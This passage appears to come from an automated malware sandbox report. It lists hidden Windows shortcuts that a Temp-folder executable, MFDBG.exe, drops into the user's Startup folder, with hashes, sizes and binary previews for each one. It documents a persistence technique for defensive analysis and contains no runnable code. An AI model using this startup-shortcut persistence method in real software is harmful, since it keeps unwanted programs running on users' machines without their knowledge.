File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:38 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.927831448953921
Encrypted:	false
SSDEEP:	24:82BfD8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:884EvZ0yRO7DLO2zdxdRd1kyg
MD5:	A52FEEC68FE8AFF3CE64C96DDE3DCD91
SHA1:	4FCE954C86F3445FA857C1DA87B009EF3F9FD781
SHA-256:	AB2C1677ABEFF3527111A375FD48F95FEA2A1100840C94A33FE857230382150C
SHA-512:	2E5DDDB9F17F5CE86CFA674684C7A8BD21D2AEC20BE2903B6FEC48DD9228122A56198037EA68D5E15FBE4E0B628C0D8DFB12EDAC796F995EC5068B1BB5F93B58
Malicious:	false
Preview:	L..................F....".......d...D..{d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....n.{d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_867e92862dd64ed08f01fa7de16ad71d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:48 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.919946607018908
Encrypted:	false
SSDEEP:	24:8uBfmQ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8EeFEvZ0yRO7DLO2zdxdRd1kyg
MD5:	20FF669C9F84CE5F0CF1E08E53696338
SHA1:	6BFD97DBA21B8167CB85AD07BB2F699F70C1E69A
SHA-256:	63C72D61357F6CEEE7CD866C863CC7B8CE339D0750C1346EB39104AF96F53FF4
SHA-512:	5BB04022C41EBD5C1C775A54CBA02160FE67E22CE8CB44AC45C68D2378FC4F86951F8D7123A7FCD0C809D1231DAD2A90B02121B6308F0385D274F3B4F86A85F8
Malicious:	false
Preview:	L..................F....".......d....'.9d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....).9d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_86ab77220d7e4e97967a9fe41b2db936.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:15 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.922171612733617
Encrypted:	false
SSDEEP:	24:8GBfa8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8MPEvZ0yRO7DLO2zdxdRd1kyg
MD5:	BE13660906F6E0B7504E2F07353C31C3
SHA1:	AEBECFCC52E7EADB557D22D1A1BA5E3B21894A6A
SHA-256:	4D4864BAA90CE9519C1393316BC8BC18E107C9033E53C0BD1E652C4045C75B89
SHA-512:	40FA206F2E58908B0F19FFEDAF86CD81A046C2FE7439392909D809111B3EFE379F4CBF8EE229632501FA0076401D3D163CB56BEBC6E2981EE8E082F3872FF321
Malicious:	false
Preview:	L..................F....".......d......&d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....JM&d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_86d0893456744bf982098b36a8077d63.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:43 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.932930127889106
Encrypted:	false
SSDEEP:	24:8YBfh8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8WOEvZ0yRO7DLO2zdxdRd1kyg
MD5:	E8E92AFF69AD6819C4A936C9FFA8536A
SHA1:	2C6E0E120C16977E312FB66DF8965B089FD9D29E
SHA-256:	2DEC4AE03F2237406137D9B9DB7B6809BF1DE4349378B4EDA404FEF36AB31D51
SHA-512:	100F4DC0EC41DFD1E92B40828A6C507EC8A98EA469062CAE67D6511492B90CF8C6BA0144FE5F6F65DC5D3CEF0BFFB27FBF0D42E101AF651F0EE87D1D05A330DF
Malicious:	false
Preview:	L..................F....".......d......~d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...O..~d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_875aae413ed74f949fcd0177ffabf4ee.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:59 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923149811514568
Encrypted:	false
SSDEEP:	24:8eQBfJ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8rWEvZ0yRO7DLO2zdxdRd1kyg
MD5:	88B2E6F96BCE4F9361EF82D1D96E5FB5
SHA1:	0E6EDEDBA8F85577730095569B71B377FF49A7ED
SHA-256:	88D6D686E6E700246B615D6FC3A38F56BBFBA9A5B86AD097FA84FE3FD1FAF436
SHA-512:	7E660FC971F8ED596370BF67B19063E4C9B52E275E9C5A3E1E7E2B2AF367FFD7E52DA4DAED89597B7C8387FA1C4C7986DFDEF37511105259D5EBE97F16E3571A
Malicious:	false
Preview:	L..................F....".......d....`{.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....9t.d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_877a0124f4554c248284520cf620826a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:14 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.930070997935065
Encrypted:	false
SSDEEP:	24:8XrBfs8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8XdBEvZ0yRO7DLO2zdxdRd1kyg
MD5:	E212A8F6A6F12EF4E73DD27A818FE788
SHA1:	B3D0806B21B42875F792F88D8FBA190DD7708FF1
SHA-256:	DEE7C2CA094D46EA21252BB299EA54CCB0C8325DDCF8D0700E7FB91D8B37ACA0
SHA-512:	B6A730D13F565AC66FCC88FEAFFFD13227F8113C86C8BF8F35CFC1AAC24493B7C5A69F2E06519B06D3582EE839E341D36B0D4046F2E14FFADEC92FC527C5EA42
Malicious:	false
Preview:	L..................F....".......d.....+&d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....&d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_87cbd991504e4858b5e2a86cb81626a5.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:29 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.916084827907817
Encrypted:	false
SSDEEP:	24:8IuBfeQ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8IE2FEvZ0yRO7DLO2zdxdRd1kyg
MD5:	BDB2B9D7037943ACC0B40C5771687644
SHA1:	053FB34919FC60A1D9AEB8983F97CE72D26A81C8
SHA-256:	B8A429AFFAF60F71A5E42F743C6600953E8320904826A72B69E368C154D6927D
SHA-512:	9451FD91E8F57E9F8E1BA45B5EBD699E3B62E7A2BBB9FCED960F4FC680D2992EBE1D954A938136EACB7839B1CAE0724159602AF361D085D9415D7EC84593909B
Malicious:	false
Preview:	L..................F....".......d...6UrRd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...6UrRd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_87da777e0c084e298b02598b0ede0eac.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:43 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.932586198791694
Encrypted:	false
SSDEEP:	24:85rBfs8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:85dREvZ0yRO7DLO2zdxdRd1kyg
MD5:	FF7DB68F66E79EAB70F5A35B6F4455F8
SHA1:	29071C98E19845BB39B83873C10BEA94155ECE08
SHA-256:	86CD23EF0D595A6B01E8159F48495CCF9213D7227CA21E1DF392FF774441DDB0
SHA-512:	915B4D8A2DDF4BBF8DE6BD0A5847873CFD3CB5E2DD9348ECD447389CAD7A554B36FCB1A08EACAC3FEC6B64B46FF4624991E8A98270C789DFD50FA761DF6050FC
Malicious:	false
Preview:	L..................F....".......d...Rz.Zd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......Zd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_87e99d43bde5442eaf96c587a99faff0.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:44 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9203369666396695
Encrypted:	false
SSDEEP:	24:8kBfwof8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8KWEvZ0yRO7DLO2zdxdRd1kyg
MD5:	A9129ACBF6FB58E391101D58C1B110B9
SHA1:	D36CC208413006DED185F844AAD4DE4C657F7B65
SHA-256:	81E6BFEE19ED7A62D2149387B5A381E7DA6468E5299413FDD591313C5CF0329E
SHA-512:	02A7262FAF393031EDE518181DE11BA6A4D997BE469EF4D306BFC38541DC92D3379FBF14D445B774B7860DB18BD03B3312E42636834089103190263301F8DD4C
Malicious:	false
Preview:	L..................F....".......d....a^[d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....:W[d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_88df42c37a664ea7b7905b36b21a3c9d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:28 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.920773718111908
Encrypted:	false
SSDEEP:	24:891BfR48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8NnEvZ0yRO7DLO2zdxdRd1kyg
MD5:	AB838195560E8716A42EF940027C7836
SHA1:	A3F4027D4F9385A77FD0FE70A9E0D3AD94C5490F
SHA-256:	62A8DEED10F85DCEC7B01E5A6587F34E05BD214488732875006D9456489B7694
SHA-512:	66B87F34FBE8DF8911AD39F4FBAC84E2E6A5EAB1EA74C2FC32910C851E7494300D99B3A8457EE5D6045361DFF2E0310C920C2FF118010399A082BC774D5BF030
Malicious:	false
Preview:	L..................F....".......d....!.Qd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....&Rd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_88f927ea29174e9689721d2e0671cd23.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:40 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.925108241934413
Encrypted:	false
SSDEEP:	24:8gBfX48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8uP9EvZ0yRO7DLO2zdxdRd1kyg
MD5:	DDF756E67036A3CADB0A867D8A7DBC99
SHA1:	C7F3E3E3F67F16DD1D66EF7446D25E92B4581AA9
SHA-256:	DE20EF46E273804DD3F63D6685AA9E0ADBA1D30A62D87E6DB4D798C6627494DF
SHA-512:	B71ABB980F482871583BF1A37364CE09F836B3294330BE939268CBDD85958A91F31524454820982D5E615FD202E3112723CC452EA566D479FAD554D58F81D687
Malicious:	false
Preview:	L..................F....".......d......}d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....6.}d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_88fe530d94d34ed893d8da1b577a9ee1.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:11 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.922226352906396
Encrypted:	false
SSDEEP:	24:83TBfh8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8FeEvZ0yRO7DLO2zdxdRd1kyg
MD5:	05720DE3935B92B570B828204FFDD996
SHA1:	D083E45F383CF6095926E40CC4087E0BED915EE3
SHA-256:	71FD46EC9221CB4BC19FD11DC626F1EF0388005B88F61333108214CB623DA99D
SHA-512:	4DDA2F5A8E398B37A7C7B3141B317A4BF3B4139B9EAB18506CC49770B4024B6BF72E06B4710AC2445D9C2F53B0C2B28D66B43C89377A8BD21FF8FADA144EB202
Malicious:	false
Preview:	L..................F....".......d...Bd.$d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....($$d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_890aa0db4c374b0c866077b741c5c803.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:29 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.921657892189133
Encrypted:	false
SSDEEP:	24:8KBfeQ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8I2FEvZ0yRO7DLO2zdxdRd1kyg
MD5:	29FB544539997595023E9479B1369C25
SHA1:	0EBDA68C6745F92D2CBAC28B978EF2FCF2F33377
SHA-256:	D4A5185EDAFC1563EA62A4D30885BD094FC4BCEE02DFF4CD3F55FCFD3229777D
SHA-512:	FA3B8DF7CA5FCB0F6770B6358A45E14410286E84D320EE547D83DA0CDA3362215EF4E6C0B8DFBCDAD6FC6A3E4C2C4265ADD140D6D8A3B2415A5B4BCFD605BF4D
Malicious:	false
Preview:	L..................F....".......d.....Rd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...6UrRd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8980602fa2094ebd9d28c1d21867a2cb.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
